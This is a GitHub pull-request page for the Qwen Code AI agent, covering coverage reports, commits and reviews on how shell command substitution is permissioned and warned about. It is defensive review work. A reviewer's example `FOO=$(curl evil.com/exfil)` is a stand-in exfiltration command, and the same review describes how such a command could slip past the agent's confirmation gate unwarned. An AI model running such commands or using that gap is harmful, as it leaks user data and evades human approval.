  ...on-context.ts |     100 |      100 |     100 |     100 |                   
  ...on-tracing.ts |   92.75 |    88.26 |     100 |   92.75 | ...27-930,934-937 
  ...etry-utils.ts |     100 |      100 |     100 |     100 |                   
  ...l-decision.ts |     100 |      100 |     100 |     100 |                   
  ...e-id-utils.ts |     100 |      100 |     100 |     100 |                   
  tracer.ts        |   98.61 |    89.36 |     100 |   98.61 | 53,108            
  types.ts         |   79.17 |    85.83 |   83.33 |   79.17 | ...1149,1152-1181 
  uiTelemetry.ts   |   92.97 |    96.96 |   81.25 |   92.97 | ...93-194,200-207 
 ...ry/qwen-logger |   68.24 |    79.56 |   64.91 |   68.24 |                   
  event-types.ts   |       0 |        0 |       0 |       0 |                   
  qwen-logger.ts   |   68.24 |    79.34 |   64.28 |   68.24 | ...1055,1093-1094 
 src/test-utils    |   93.16 |    95.91 |   76.47 |   93.16 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  ...st-helpers.ts |   94.11 |       90 |     100 |   94.11 | 69-70             
  index.ts         |     100 |      100 |     100 |     100 |                   
  mock-tool.ts     |   91.19 |    97.14 |   72.41 |   91.19 | ...38,202-203,216 
  ...aceContext.ts |     100 |      100 |     100 |     100 |                   
 src/tools         |   79.02 |    81.52 |   85.71 |   79.02 |                   
  ...erQuestion.ts |   88.93 |    76.74 |    90.9 |   88.93 | ...39-340,347-348 
  cron-create.ts   |   88.11 |    88.88 |    62.5 |   88.11 | ...,43-44,165-172 
  cron-delete.ts   |   96.82 |      100 |   83.33 |   96.82 | 26-27             
  cron-list.ts     |   96.66 |      100 |   83.33 |   96.66 | 25-26             
  diffOptions.ts   |     100 |      100 |     100 |     100 |                   
  edit.ts          |   81.02 |    84.07 |      75 |   81.02 | ...15-716,826-876 
  ...r-worktree.ts |   82.95 |    67.56 |    87.5 |   82.95 | ...82-185,276-277 
  exit-worktree.ts |   84.23 |    85.96 |   91.66 |   84.23 | ...92-293,298-312 
  exitPlanMode.ts  |   85.09 |    85.71 |     100 |   85.09 | ...60-163,177-189 
  glob.ts          |   90.63 |    88.33 |   84.61 |   90.63 | ...28,171,302,305 
  grep.ts          |   79.19 |    85.71 |   78.94 |   79.19 | ...20,560,569-576 
  ls.ts            |   96.74 |    90.27 |     100 |   96.74 | 176-181,212,216   
  lsp.ts           |   72.77 |    60.09 |   90.32 |   72.77 | ...1211,1213-1214 
  ...nt-manager.ts |   84.36 |    82.74 |   84.21 |   84.36 | ...2099-2103,2142 
  mcp-client.ts    |   33.18 |    77.65 |   66.66 |   33.18 | ...1490,1494-1497 
  mcp-tool.ts      |   90.98 |    88.88 |   96.42 |   90.98 | ...95-596,646-647 
  memory-config.ts |       0 |        0 |       0 |       0 | 1-47              
  ...iable-tool.ts |     100 |    84.61 |     100 |     100 | 102,109           
  monitor.ts       |   91.62 |    84.05 |   88.46 |   91.62 | ...85,598,794-799 
  notebook-edit.ts |   85.11 |    76.42 |   81.25 |   85.11 | ...54-870,916-917 
  ...nforcement.ts |   82.57 |       90 |     100 |   82.57 | 174-185,234-247   
  read-file.ts     |    95.4 |    90.32 |      90 |    95.4 | ...99,298-301,304 
  ripGrep.ts       |   94.59 |    85.71 |   93.33 |   94.59 | ...60,463,541-542 
  ...-transport.ts |    6.34 |        0 |       0 |    6.34 | 47-145            
  send-message.ts  |   84.68 |    91.66 |    62.5 |   84.68 | ...,82-90,167-170 
  shell.ts         |   73.49 |    80.03 |   91.42 |   73.49 | ...4243,4292-4298 
  skill-utils.ts   |     100 |      100 |     100 |     100 |                   
  skill.ts         |   88.35 |    91.42 |   86.66 |   88.35 | ...12,416,439-461 
  ...eticOutput.ts |   95.12 |      100 |      80 |   95.12 | 87-88             
  task-stop.ts     |   93.14 |    96.15 |   85.71 |   93.14 | 39-40,54-64       
  todoWrite.ts     |   89.17 |    82.05 |   92.85 |   89.17 | ...41-546,568-569 
  tool-error.ts    |     100 |      100 |     100 |     100 |                   
  tool-names.ts    |     100 |      100 |     100 |     100 |                   
  tool-registry.ts |   74.85 |    76.85 |   80.95 |   74.85 | ...30-831,839-840 
  tool-search.ts   |   95.19 |    86.48 |    92.3 |   95.19 | ...47-153,208-213 
  tools.ts         |   90.49 |    90.19 |   84.21 |   90.49 | ...78-479,495-501 
  web-fetch.ts     |   88.84 |       80 |   92.85 |   88.84 | ...12-313,315-316 
  write-file.ts    |   82.65 |    80.45 |   84.61 |   82.65 | ...65-668,696-731 
 src/tools/agent   |   75.07 |    80.49 |   73.61 |   75.07 |                   
  agent.ts         |   75.33 |    80.72 |   74.24 |   75.33 | ...2474,2483-2486 
  fork-subagent.ts |   69.62 |    71.42 |   66.66 |   69.62 | ...04-105,140-151 
 src/utils         |   89.22 |    87.65 |   93.63 |   89.22 |                   
  LruCache.ts      |       0 |        0 |       0 |       0 | 1-41              
  ...Controller.ts |     100 |      100 |     100 |     100 |                   
  ...ssageQueue.ts |     100 |      100 |     100 |     100 |                   
  ...cFileWrite.ts |   77.96 |    80.48 |     100 |   77.96 | ...35,156,173-176 
  bareMode.ts      |   27.27 |      100 |       0 |   27.27 | 9-15,18-19        
  browser.ts       |    7.69 |      100 |       0 |    7.69 | 17-56             
  bundlePaths.ts   |     100 |      100 |     100 |     100 |                   
  ...igResolver.ts |     100 |      100 |     100 |     100 |                   
  ...engthError.ts |   89.11 |     87.5 |     100 |   89.11 | ...28-129,132-133 
  cronDisplay.ts   |   42.85 |    23.07 |     100 |   42.85 | 26-31,33-45,47-54 
  cronParser.ts    |   89.74 |    85.71 |     100 |   89.74 | ...,63-64,183-186 
  debugLogger.ts   |    95.9 |    93.93 |   94.73 |    95.9 | 106-107,214-218   
  editHelper.ts    |   93.63 |    83.52 |     100 |   93.63 | ...28-429,463-464 
  editor.ts        |    97.6 |     95.4 |     100 |    97.6 | ...25-326,328-329 
  ...arResolver.ts |   94.28 |    88.88 |     100 |   94.28 | 28-29,125-126     
  ...entContext.ts |     100 |    95.45 |     100 |     100 | 83                
  errorParsing.ts  |    97.7 |    97.05 |     100 |    97.7 | 72-73             
  ...rReporting.ts |   88.46 |       90 |     100 |   88.46 | 69-74             
  errors.ts        |   70.54 |    79.59 |      50 |   70.54 | ...15-231,235-241 
  fetch.ts         |   70.18 |    71.42 |   71.42 |   70.18 | ...42,148,161,186 
  fileUtils.ts     |    91.5 |    86.25 |   95.23 |    91.5 | ...1191,1195-1201 
  forkedAgent.ts   |   80.68 |    78.12 |   83.33 |   80.68 | ...39-545,550-556 
  formatters.ts    |   81.81 |       75 |     100 |   81.81 | 15-16             
  ...eUtilities.ts |   89.21 |    86.66 |     100 |   89.21 | 16-17,49-55,65-66 
  ...rStructure.ts |   94.36 |    94.28 |     100 |   94.36 | ...17-120,330-335 
  getPty.ts        |    12.5 |      100 |       0 |    12.5 | 21-34             
  gitDiff.ts       |   92.36 |    79.53 |     100 |   92.36 | ...55-856,928-929 
  ...noreParser.ts |    92.3 |    89.36 |     100 |    92.3 | ...15-116,186-187 
  gitUtils.ts      |   73.64 |    90.32 |   83.33 |   73.64 | ...,78-79,103-154 
  iconvHelper.ts   |     100 |      100 |     100 |     100 |                   
  ...rePatterns.ts |     100 |      100 |     100 |     100 |                   
  ...ionManager.ts |     100 |     90.9 |     100 |     100 | 26                
  ...lPromptIds.ts |     100 |      100 |     100 |     100 |                   
  jsonl-utils.ts   |    74.1 |    90.76 |   58.33 |    74.1 | ...23-326,336-342 
  ...-detection.ts |     100 |      100 |     100 |     100 |                   
  ...iagnostics.ts |    96.4 |     90.9 |     100 |    96.4 | ...66,293-294,376 
  ...yDiscovery.ts |   88.27 |    83.87 |     100 |   88.27 | ...76,279,407-410 
  ...tProcessor.ts |    93.2 |    89.18 |     100 |    93.2 | ...82-288,370-371 
  ...Inspectors.ts |   61.53 |      100 |      50 |   61.53 | 18-23             
  modelId.ts       |   98.95 |    98.21 |     100 |   98.95 | 148               
  ...kerChecker.ts |   90.78 |    91.66 |     100 |   90.78 | 73-79             
  notebook.ts      |   94.57 |    89.83 |   95.83 |   94.57 | ...21,333,385-387 
  openaiLogger.ts  |   90.85 |    87.87 |     100 |   90.85 | ...97-199,222-227 
  partUtils.ts     |     100 |    98.61 |     100 |     100 | 206               
  pathReader.ts    |     100 |      100 |     100 |     100 |                   
  paths.ts         |   93.21 |    91.86 |     100 |   93.21 | ...89-390,392-394 
  pdf.ts           |   93.68 |    87.05 |     100 |   93.68 | ...96-297,321-325 
  projectPath.ts   |     100 |      100 |     100 |     100 |                   
  projectRoot.ts   |   71.73 |    78.57 |     100 |   71.73 | 54-66             
  ...ectSummary.ts |   89.39 |    72.41 |     100 |   89.39 | ...37-142,193-196 
  ...tIdContext.ts |     100 |      100 |     100 |     100 |                   
  proxyUtils.ts    |     100 |      100 |     100 |     100 |                   
  ...rDetection.ts |   58.57 |       76 |     100 |   58.57 | ...4,88-89,95-100 
  ...noreParser.ts |   85.45 |    85.18 |     100 |   85.45 | ...59,65-66,72-73 
  rateLimit.ts     |   92.55 |    85.92 |     100 |   92.55 | ...70-272,309-310 
  readManyFiles.ts |   87.59 |       84 |     100 |   87.59 | ...09-211,227-238 
  retry.ts         |   89.81 |    88.05 |     100 |   89.81 | ...29,350,357-358 
  ripgrepUtils.ts  |   46.79 |    84.37 |   66.66 |   46.79 | ...45-246,258-335 
  ...sDiscovery.ts |   97.42 |    92.85 |     100 |   97.42 | ...04,182-183,202 
  ...iagnostics.ts |   83.08 |     67.5 |   92.59 |   83.08 | ...23,543-544,550 
  ...tchOptions.ts |   81.72 |    85.04 |   95.23 |   81.72 | ...18,543,572-581 
  runtimeStatus.ts |    97.5 |    88.57 |     100 |    97.5 | 167-168           
  safeJsonParse.ts |   74.07 |    83.33 |     100 |   74.07 | 40-46             
  ...nStringify.ts |     100 |      100 |     100 |     100 |                   
  ...aConverter.ts |   90.78 |    88.23 |     100 |   90.78 | ...41-42,93,95-96 
  ...aValidator.ts |   94.57 |    80.26 |     100 |   94.57 | ...04,213-216,270 
  ...r-launcher.ts |   76.92 |     91.3 |   66.66 |   76.92 | ...34,136,157-195 
  ...orageUtils.ts |   96.89 |    85.84 |     100 |   96.89 | ...51,367,447,466 
  shell-utils.ts   |   84.22 |    89.91 |     100 |   84.22 | ...1583,1590-1594 
  ...lAstParser.ts |   95.58 |    85.79 |     100 |   95.58 | ...1067-1069,1079 
  ...nlyChecker.ts |    95.1 |    91.57 |     100 |    95.1 | ...16-317,325-326 
  sideQuery.ts     |   98.71 |    97.14 |     100 |   98.71 | 110               
  ...pEventSink.ts |     100 |       80 |     100 |     100 | 61                
  ...tGenerator.ts |     100 |      100 |     100 |     100 |                   
  ...ameContext.ts |     100 |      100 |     100 |     100 |                   
  symlink.ts       |   77.77 |       50 |     100 |   77.77 | 44,54-59          
  ...emEncoding.ts |   96.36 |    91.17 |     100 |   96.36 | 59-60,124-125     
  terminalSafe.ts  |     100 |      100 |     100 |     100 |                   
  ...Serializer.ts |   98.72 |       90 |     100 |   98.72 | 42-43,134,201-203 
  testUtils.ts     |   53.33 |      100 |   33.33 |   53.33 | ...53,59-64,70-72 
  textUtils.ts     |      60 |      100 |   66.66 |      60 | 36-55             
  thoughtUtils.ts  |     100 |    92.85 |     100 |     100 | 71                
  ...-converter.ts |   94.59 |    85.71 |     100 |   94.59 | 35-36             
  tool-utils.ts    |    93.6 |     91.3 |     100 |    93.6 | ...58-159,162-163 
  truncation.ts    |     100 |       92 |     100 |     100 | 52,71             
  windowsPath.ts   |   89.47 |    79.31 |     100 |   89.47 | ...57-58,62,90-91 
  ...aceContext.ts |   93.71 |    89.28 |   93.33 |   93.71 | ...24-225,249-251 
  xml.ts           |     100 |      100 |     100 |     100 |                   
  yaml-parser.ts   |      92 |     84.9 |     100 |      92 | 49-53,65-69       
 ...ils/filesearch |   86.21 |    81.61 |   96.42 |   86.21 |                   
  crawlCache.ts    |     100 |      100 |     100 |     100 |                   
  crawler.ts       |   82.84 |    77.49 |   94.82 |   82.84 | ...1451,1485-1486 
  fileSearch.ts    |   93.58 |    87.32 |     100 |   93.58 | ...46-247,249-250 
  ignore.ts        |     100 |      100 |     100 |     100 |                   
  result-cache.ts  |     100 |     92.3 |     100 |     100 | 46                
 ...uest-tokenizer |   56.63 |    74.52 |   74.19 |   56.63 |                   
  ...eTokenizer.ts |   41.86 |    76.47 |   69.23 |   41.86 | ...70-443,453-507 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...tTokenizer.ts |   68.39 |    69.49 |    90.9 |   68.39 | ...24-325,327-328 
  ...ageFormats.ts |      76 |      100 |   33.33 |      76 | 45-48,55-56       
  textTokenizer.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 | 1                 
-------------------|---------|----------|---------|---------|-------------------

For detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run.

…review)

Addresses two round-1 findings from Copilot on PR #4386:

1. ToolConfirmationMessage: the warnings block was rendered as a sibling
   *below* the MaxSizedBox-capped command body (with marginTop=1), but
   the height budget computed by availableBodyContentHeight() — and the
   compactMode cap of COMPACT_BODY_MAX_LINES — didn't account for the
   extra lines. On small terminals + compactMode this could push the
   options list off-screen. Reserve the warnings footprint
   (`warningsCount + 1` for marginTop) up-front so the overall exec
   block respects availableTerminalHeight / COMPACT_BODY_MAX_LINES.

   Added a regression test (`keeps options visible alongside the
   warning on a tight compactMode layout`) that renders a substitution
   command with `availableTerminalHeight=10` + `compactMode=true` and
   asserts both the warning text and all three compactMode option
   labels remain on-screen.

2. permission-manager.test.ts: the new `command substitution (issue
   #4093)` describe had a misleading inline comment that conflated the
   issue's original scenario (`echo hello && python3 ...` + `Bash(echo *)`)
   with the test fixture (`git status && python3 ...` + `Bash(git *)`).
   Rewrote it to describe what the test actually does (`git status`
   matches `Bash(git *)`, making hasRelevantRules() true; the python3
   sub-command then resolves via resolveDefaultPermission).

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] MonitorToolInvocation.getDefaultPermission() (packages/core/src/tools/monitor.ts:174) still hard-denies command substitution with detectCommandSubstitution → 'deny' — the identical pattern this PR removes from resolveDefaultPermission. The PR description explains why checkCommandPermissions retains its hard-deny (prompt-injection defense for !{…} slash commands), but doesn't mention monitor.ts. YOLO users can't override it and no warning is surfaced. Consider either applying the same ask+warning pattern or adding a code comment documenting why monitor intentionally stays stricter.

[Suggestion] buildPermissionRequestContent() in packages/cli/src/acp-integration/session/permissionUtils.ts has no exec branch — the new warnings field is not propagated to ACP clients. IDE integrations won't surface the substitution warning when prompting the user for approval.

[Suggestion] Non-interactive permissionController (packages/cli/src/nonInteractive/control/controllers/permissionController.ts) doesn't read the new warnings field for exec confirmations. Mitigated by auto-deny in non-interactive mode, but daemon/API consumers still miss the context.

— qwen-latest-series-invite-beta-v34 via Qwen Code /review

Comment thread packages/core/src/tools/shell.test.ts
LaZzyMan added 2 commits May 21, 2026 19:52
…active (#4386 review)

Addresses round-2 review findings from wenshao on PR #4386. Four
related findings, all about sibling drift from the original #4093 fix:
either the same hard-deny-on-substitution pattern in a sibling tool, or
downstream consumers that don't propagate the new warnings field.

1. monitor.ts: `MonitorToolInvocation.getDefaultPermission()` had the
   identical `detectCommandSubstitution → 'deny'` pattern that the
   original PR removed from `PermissionManager.resolveDefaultPermission`
   — sibling drift the original audit missed. Same UX problems apply
   (YOLO unbypassable, opaque deny). Removed the deny branch, added
   the substitution warning in `getConfirmationDetails` (mirroring
   ShellToolInvocation), updated the 5 existing tests that asserted
   the old 'deny' to assert 'ask', and added a confirmation-warning
   test for the issue #4093 mirror case. Monitor still maintains its
   separate permission boundary (Monitor(...) rules don't share with
   Bash(...) — documented in the unchanged comment at the top of
   getConfirmationDetails); only the substitution-deny half is removed.

2. ACP `buildPermissionRequestContent` (permissionUtils.ts): had no
   `exec` branch, so the new `warnings` field never reached ACP
   clients (IDE integrations etc.). Added an `exec` branch that emits
   one `⚠ <warning>` text content per warning, alongside the existing
   `edit` (diff) and `plan` (text) branches. Two regression tests
   added: warning present → ⚠ content entry; no warnings → empty.

3. Non-interactive `permissionController.buildPermissionSuggestions`:
   the `case 'exec'` description string didn't read `warnings`, so
   daemon/API consumers that delegate the approval decision back to
   a user lost the substitution context. Appended warnings as a
   parenthesized `⚠ ...` suffix to the description string. (No test
   file exists for this controller — change is small and verifiable
   by inspection; adding test scaffolding is out of scope for this
   round.)

4. Test coverage: the `command substitution (issue #4093)` describe
   blocks in `shell.test.ts` and `permission-manager.test.ts` covered
   `$()`, backticks, and `<()` but not `>()` — even though
   `detectCommandSubstitution` and the warning text both list it.
   Added a `>()` case to each block to close the regression gap.
…est (#4386 self-review)

Two related self-review findings from my pre-push review on PR #4386:

1. SR-1: the round-1 layout regression test
   (`keeps options visible alongside the warning on a tight compactMode
   layout`) used a single-line command at `contentWidth=80`. `MaxSizedBox`
   clamps to `min(content_lines, maxHeight)`, so a 1-line command
   renders as 1 line regardless of whether `bodyContentHeight -=
   warningsHeight` is applied — the test would still pass if that line
   were silently removed. Replaced with a 4-line command and an
   assertion on the `... N lines hidden ...` truncation footer that
   MaxSizedBox emits *only* when its cap is actually active. Confirmed
   RED → fix → GREEN: the new test fails when the warnings
   subtraction is removed and passes when restored.

2. SR-2: the warnings-height reservation reserved `warningsCount + 1`
   lines (one per warning + one marginTop separator). On narrow
   terminals the warning text wraps across multiple visual rows, so
   the reservation under-counts. Replace the per-warning `+1` with
   `ceil((warning.length + 2) / max(contentWidth, 1))` to account for
   each warning's actual rendered row count. The `+ 2` accounts for
   the `⚠ ` prefix; the `max(...,1)` keeps the math defined for
   pathological inputs. Independently flagged by Codex during
   self-review as `[P3] Account for wrapped warning lines`.
@LaZzyMan

Copy link
Copy Markdown
Collaborator Author

Thanks @wenshao. Round-2 findings addressed in 7bb420562 (reviewer items) and c10b5b632 (self-review follow-up). Per-finding:

1. MonitorToolInvocation.getDefaultPermission() hard-denies substitution. ✅ Fixed in 7bb4205 by applying the same ask+warning pattern that this PR's first commit applied to resolveDefaultPermission. The deny branch is gone, the warning is now surfaced from MonitorToolInvocation.getConfirmationDetails, the five existing denies command substitution … tests were flipped to assert 'ask', and an issue #4093 mirror test verifies the warning reaches the confirmation details. Monitor still maintains its separate permission boundary (Monitor(...) rules don't share with Bash(...) — documented in the existing comment at the top of getConfirmationDetails); only the substitution-deny half is removed. This was genuine sibling drift my original audit missed — good catch.

2. ACP buildPermissionRequestContent has no exec branch. ✅ Fixed in 7bb4205. Added an exec branch that emits one ⚠ <warning> text content per warning, alongside the existing edit (diff) and plan (text) branches. Two regression tests cover warning-present and warning-absent paths.

3. Non-interactive permissionController doesn't read warnings. ✅ Fixed in 7bb4205. The case 'exec' description now appends (⚠ ...) for each warning, so daemon/API consumers that delegate the approval decision back to a user see the substitution context. No test file exists for this controller so the change is verifiable by inspection; adding test scaffolding is out of scope for this round.

Also bundled two self-review follow-ups in c10b5b632 since they overlap with the round-2 area:

  • SR-1: the round-1 layout regression test was effectively vacuous (single-line command made the MaxSizedBox clamp a no-op). Replaced with a 4-line command + assertion on the ... N lines hidden ... truncation footer that MaxSizedBox emits only when the cap is active; followed RED → fix → GREEN to confirm it gates the warnings reservation.
  • SR-2: the warnings-height reservation was count + 1, which under-counts when the warning text wraps on narrow terminals. Now uses ceil((warning.length + 2) / max(contentWidth, 1)) per warning, accounting for the prefix.

A >() test was also added to the substitution describe blocks in shell.test.ts and permission-manager.test.ts (your inline thread, resolved separately).

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No review findings. Downgraded from Approve to Comment: CI still running. — gpt-5.5 via Qwen Code /review

@wenshao

wenshao commented May 21, 2026

Copy link
Copy Markdown
Collaborator

Local maintainer validation — all PR-relevant gates green ✅

Reviewed at head c10b5b63 (against base d2ece8372) in a dedicated tmux session (pr4386, 8 windows) under git worktree /.qwen/tmp/review-pr-4386. The PR has 4 author commits beyond base (1 base fix + 3 self-review iterations).

Environment

  • macOS 26.4.1 (Darwin 25.4.0 arm64), Node 22.17.0, npm 11.8.0
  • Fresh npm ci (1453 packages)
  • Repo version 0.15.11

Results

Stage Command Result
Install npm ci ✅ exit 0
Build npm run build ✅ exit 0 (15 unrelated curly warnings in vscode-ide-companion files)
Typecheck npm run typecheck ✅ exit 0 across all 5 workspaces
Lint npm run lint ✅ exit 0
PR-touched core tests 7 files: permission-manager, shell, shell-utils, tools, monitor, permissionFlow, permission-helpers 664/664 in 12s
PR-touched cli tests 2 files: ToolConfirmationMessage, permissionUtils 25/25 in 7.6s
Full packages/core suite cd packages/core && npx vitest run ⚠️ 9205 passed / 3 skipped / 3 failedall 3 pre-existing, none caused by this PR (see below)
Full packages/cli suite cd packages/cli && npx vitest run 6784 passed / 9 skipped / 0 failed across 377 files
End-to-end against built artifact custom Node harness driving dist/.../permission-manager.js (PermissionManager.evaluate) + dist/.../shell-utils.js (detectCommandSubstitution) 27/27 assertions pass (see below)

Triage of the 3 core test failures (NOT caused by PR 4386)

File Fails Cause Verified
src/skills/skill-manager.test.ts 2 Test fixture's bundled-path detection uses !pathStr.includes('.qwen'); our worktree lives under .qwen/tmp/... so the literal .qwen segment makes the mock misclassify the bundled dir Reproduces identically on PR bases of #4314, #4345, #4354 — every .qwen/tmp worktree
src/core/anthropicContentGenerator/anthropicContentGenerator.test.ts 1 Expects User-Agent to contain QwenCode/1.2.3; receives claude-cli/1.2.3 (external, cli) because validation runs inside Claude Code which injects its own UA Reproduces identically on qwen-code-x3 main and every prior PR validation

End-to-end proof against built packages/core/dist

Drove the compiled PermissionManager.evaluate() against the exact 5 scenarios from the PR Evidence table — each delivers the documented verdict:

[1] PR Evidence table — five regression scenarios
  ✓ python3 -c "print($(echo hello))" (no rules) → ask
  ✓ git status (with Bash(git *) allow rule) → allow
  ✓ git status && python3 -c "print($(echo hello))" (with Bash(git *) allow rule) — THE FIX → ask
  ✓ echo `whoami` (backticks) → ask
  ✓ diff <(ls /a) <(ls /b) (process substitution) → ask
  ✓ rm -rf "$(pwd)/build" (with Bash(rm *) DENY rule — deny precedence preserved) → deny

Beyond the Evidence table, the harness also verifies:

[2] All four substitution forms each get ask, never deny
  ✓ $() / backticks / <() / >() / nested $() / nested backticks

[3] Non-substitution commands keep their normal verdicts
  ✓ git status → allow, rm -rf /tmp/x (deny rule) → deny, ls -la → allow, touch newfile → ask

[4] Compound command resolution: deny still wins anywhere in the chain
  ✓ echo $(date) && rm /tmp/x (mixed substitution + Bash(rm *) deny) → deny

[5] detectCommandSubstitution drives the warning surface
  ✓ Detects substitution in: $(), backticks, <(), >(), nested forms
  ✓ No false positives on: plain echo, ls -la, git status, rm -rf, find

[6] YOLO mode override path
  ✓ both default + yolo modes return 'ask' (was 'deny' before fix — YOLO consumer can now auto-approve)

Behavioral observations from reading the diff

  • The fix is genuinely one branch removal in PermissionManager.resolveDefaultPermission (line 211 of the source). The +16/-14 diff in that file is comments and the now-redundant check.
  • The PR is scope-disciplined: the author explicitly preserves shell-utils.ts checkCommandPermissions substitution deny (called out as protecting !{…} shell injections in user-authored slash commands via cli/services/prompt-processors/shellProcessor.ts — a different code path with prompt-injection threat model).
  • Warning surface is plumbed through three consumers (interactive CLI, ACP, non-interactive control) plus monitor.ts's effectiveConfirmationDetails getter — confirmed all three test files exercise the warning rendering or propagation:
    • CLI: ToolConfirmationMessage.test.tsx renders the yellow ⚠ Contains command substitution … line
    • ACP: permissionUtils.test.ts propagates warnings into MetaPromptText and cancelToolCallConfirmation paths
    • non-interactive: permissionController.ts (no dedicated test file; exercised via ControlDispatcher.test.ts chain)
  • Type narrowing: resolveDefaultPermission return narrowed from 'allow' | 'ask' | 'deny''allow' | 'ask'. Source-compatible for downstream consumers — confirmed by clean typecheck across all 5 workspaces.
  • The 3 self-review commits address: wrap-aware Ink layout reservation for warnings, monitor alignment to surface warnings consistently, and a load-bearing regression test for the wrap-aware layout. All non-functional polish.

Scope / risk

  • Diff: +486 / −33 across 12 files (3 core source + 3 core tests + 3 cli source + 3 cli tests).
  • Behavior change: substitution commands that previously hard-erred now ask for confirmation. In YOLO mode they execute with a printed warning. Operators relying on the deny as a hard backstop can write an explicit permissions.deny rule (e.g. Bash(*\$\(*)), which the PR correctly preserves — covered by Scenario 5 above.
  • No breaking changes for end users. Internal API additions (warnings?: string[] on ToolExecuteConfirmationDetails, return-type narrowing on private method) are source-compatible.

Reviewer recommendation

Safe to merge. The fix is minimal, behaviorally correct against the PR's exact Evidence table, and the PR-touched test surface (664 + 25 = 689 tests) is fully green. The 3 full-suite failures are pre-existing environmental artifacts of the .qwen/tmp/ worktree layout and Claude Code's UA injection, identical to what was observed in validations for #4314 / #4345 / #4354. GitHub CI on clean macOS / Ubuntu / Windows runners is still in progress at validation time and will provide independent confirmation.

— Maintainer local validation, run on c10b5b63 from upstream pull/4386/head.

Comment thread packages/core/src/tools/shell.ts Outdated
Comment thread packages/cli/src/nonInteractive/control/controllers/permissionController.ts Outdated
Comment thread packages/core/src/tools/shell.ts Outdated
Comment thread packages/core/src/tools/monitor.ts Outdated
Comment thread packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx Outdated
LaZzyMan added 2 commits May 22, 2026 14:02
…view)

Round-3 review caught a real observability gap: when `needsConfirmation`
returns false (YOLO mode at line 1791, or auto-approve at line 1740),
the scheduler skips `getConfirmationDetails()` entirely and the
substitution warning generated there never reaches the user. Pre-#4093
this didn't matter because substitution hard-denied before reaching
the bypass; post-#4093 it executes silently with no audit trail.

YOLO/auto by design execute arbitrary LLM-emitted commands without
warnings — bypassing the substitution warning isn't a new
vulnerability vs. e.g. an unwarned `rm -rf /tmp/x`. But operators
troubleshooting a prompt-injection incident need an audit trail.

Adds a module-level `maybeLogSubstitutionBypass()` helper that emits a
`debugLogger.warn` only when (a) the canonical tool name is in the
shell-like audit set (RUN_SHELL_COMMAND / MONITOR) AND (b) the command
arg contains substitution. Called from both bypass branches with a
`yolo` / `auto-approve` discriminator so the audit log identifies
which path bypassed.

DEBUG-only — silent at default verbosity, no noise for typical YOLO
users; forensic signal lives in `DEBUG=*` traces. No separate test
added: `debugLogger` is module-private (created at the top of
coreToolScheduler.ts), and mocking the createDebugLogger module is
disproportionate complexity for a DEBUG-only audit signal whose
logic is a 7-line guard chain.
…permissionController test (#4386 review)

Round-3 review cleanup, bundling 4 small related findings:

1. **Extract `COMMAND_SUBSTITUTION_WARNING` constant** (`shell-utils.ts`).
   The user-facing warning string was hardcoded identically in two
   source files (`shell.ts`, `monitor.ts`); tests assert via regex so
   the constant doesn't break them. Co-located with
   `detectCommandSubstitution` since they share the same domain.

2. **Extract `buildShellExecWarnings()` helper** (`shell-utils.ts`).
   The 6-line warnings-building pattern was duplicated between
   `ShellToolInvocation.getConfirmationDetails` and
   `MonitorToolInvocation.getConfirmationDetails` — same two-input
   substitution check (stripped + raw command), same literal push,
   same undefined-on-empty contract. Both call sites collapse to a
   one-liner. This is a mechanism lift, not a boilerplate lift —
   the helper captures non-trivial behavior. The
   `checkCommandPermissions` path in `shell-utils.ts` intentionally
   keeps its own deny-reason string (different code path, different
   threat model — prompt-injection defense for `!{…}` slash commands).

3. **Drop unnecessary non-null assertion** in
   `ToolConfirmationMessage.tsx`. Line 268 already defines
   `const warnings = executionProps.warnings ?? []`; the JSX block was
   using `executionProps.warnings!.map(...)` which (a) reaches past
   the null-safe local and (b) misleads readers about whether the
   field is actually guaranteed-defined.

4. **Add `permissionController.test.ts`** covering the
   `buildPermissionSuggestions` exec branch added in commit 7bb4205.
   Seven cases: warning-present (single + multiple), non-string
   filtering, warning-absent (missing key + empty array + malformed
   non-array), and the null-payload return for invalid input. No test
   file existed for this controller before; the new file establishes
   the pattern for the four sibling controllers, but stays scoped to
   only the method under review.
@LaZzyMan

Copy link
Copy Markdown
Collaborator Author

CI note: the windows-22 fail on https://github.com/QwenLM/qwen-code/actions/runs/26271588487 was the chronic AppContainer > does not remeasure footer height for sticky todo status-only updates flake — same shape that's been showing up on main 5-of-8 recent runs and that PR #4386 has now hit in 3 consecutive rounds (R1 macos+ubuntu, R2 windows, R3 windows). Filed #4429 to track this and two sibling flakes (InputPrompt, AskUserQuestionDialog) as a class. Re-ran the failed windows job; PR remains green elsewhere.

Not blocking this PR — the flake is independent of any of the round-3 changes (coreToolScheduler.ts debug log, shell-utils.ts constant/helper extraction, permissionController.test.ts, non-null cleanup) and the test in question is unrelated to anything this PR touches.

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] evaluateStatementReadOnly in shellAstParser.ts:884 returns true unconditionally for variable_assignment / variable_assignments nodes — it does NOT call containsCommandSubstitutionAST. A command like FOO=$(curl evil.com/exfil) is classified as read-only by isShellCommandReadOnlyAST, causing resolveDefaultPermission (line 420) to return 'allow'. The command is then auto-approved at coreToolScheduler.ts:~1669 with no confirmation dialog, no substitution warning, and no audit log (since maybeLogSubstitutionBypass is only called in the YOLO/AUTO branches, not the finalPermission === 'allow' branch).

The comment at line 417-418 states: "Commands containing command substitution are never read-only (the AST walker marks any node with a substitution expansion as non-read-only)" — this claim is incorrect for variable_assignment nodes, which return true unconditionally.

On main, the regex-based detectCommandSubstitution check (removed by this PR) was a safety net for this AST gap. With it removed, FOO=$(curl evil.com) now silently executes.

Suggested fix: Add containsCommandSubstitutionAST(node) check to the variable_assignment cases in shellAstParser.ts, and correct the comment at line 417-418.

— qwen3.7-max via Qwen Code /review

Comment thread packages/core/src/core/coreToolScheduler.ts Outdated
Comment thread packages/core/src/core/coreToolScheduler.ts Outdated
